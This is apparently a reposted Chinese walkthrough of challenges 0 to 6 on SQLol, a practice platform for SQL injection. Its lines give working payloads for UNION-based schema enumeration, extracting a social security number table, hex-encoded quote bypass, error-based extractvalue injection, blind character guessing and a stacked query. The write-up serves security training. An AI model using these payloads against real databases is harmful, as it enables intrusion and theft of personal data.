SQL注入測試平台 SQLol -6.challenges挑戰

來源:互聯網
上載者:User

標籤:

  SQLol上面的挑戰共有14關,接下來我們一關一關來突破。

 

Challenge 0

目的是讓查詢返回所有的使用者名稱,而不是只有一個。

SELECT username FROM users WHERE username = 【‘1‘】 GROUP BY username ORDER BY username ASC

注入點在【1】處

構造POC:  1‘ or 1=1# 或者 1‘ and 1=2 union select username from users#

都可以查詢到所有的使用者名稱。

 

Challenge 1

目標是找到資料庫中存在的社會安全號碼表並提取資訊。

SELECT username FROM users WHERE username = 【‘1‘】 GROUP BY username ORDER BY username ASC

注入點在【1】處,我們需要知道有哪些表哪些欄位,才能找出所想要的資訊,為此,我們使用information_schema進行查表查列。

構造POC: 

查出資料庫所有的庫,      ‘ and 1=2 UNION SELECT table_schema FROM information_schema.tables#

選擇sqlol庫查表,           ‘ and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=‘sqlol‘#

選擇表,查列,              ‘ and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=‘ssn‘#

 選擇欄位,查資料,       ‘ UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已經得到所想要的資訊。

 

Challenge 2

目標是找到資料庫中存在的社會安全號碼表並提取資訊。

SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC

注入點在【1】處,與challenge1類似,所不同的,這是數字型注入,過濾單引號。

構造POC:

查出資料庫所有的庫,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#

選擇sqlol庫查表,     1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex編碼)

選擇表,查列,         1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex編碼)

 選擇欄位,查資料,  1 and 1=2 UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已經得到所想要的資訊。

 

Challenge 3

目標是找到資料庫中存在的社會安全號碼表並提取資訊。

無提示,只輸出一行,詳細錯誤資訊,查詢不顯示,與challenge 1類似。

構造POC:

‘ UNION SELECT concat(name,‘:‘,ssn) FROM ssn LIMIT 0,1

 

Challenge 4

 目的是找出資料庫中存在的社會安全號碼表,並提取其資訊,無盲SQL注入技術。

提示,有詳細的錯誤,可以使用報錯注入

構造POC:

 ‘ and extractvalue(1, concat(0x5c,(select user())))#

‘ AND ExtractValue(1,concat(0x01,(select concat(name,‘:‘,ssn) from ssn limit 0,1)))#

 

Challenge 5

目標是找到資料庫中存在的社會安全號碼表並提取資訊。

提示,使用盲注,無輸入錯誤資訊

構造POC:

得到資料庫的長度: 1‘ or  length(database())=5#

逐字猜解ascii碼: 1‘ or  ascii(mid(database(),1,1))=115#

慢慢猜,總會猜出來的,大致方法就這個。

 

Challenge 6

目標是建立一個新表稱為“ipwntyourdb”使用堆疊的查詢。

構造POC:

SELECT username FROM users WHERE username = ‘Herp Derper‘;create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC

 

 

 

SQL注入測試平台 SQLol -6.challenges挑戰

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.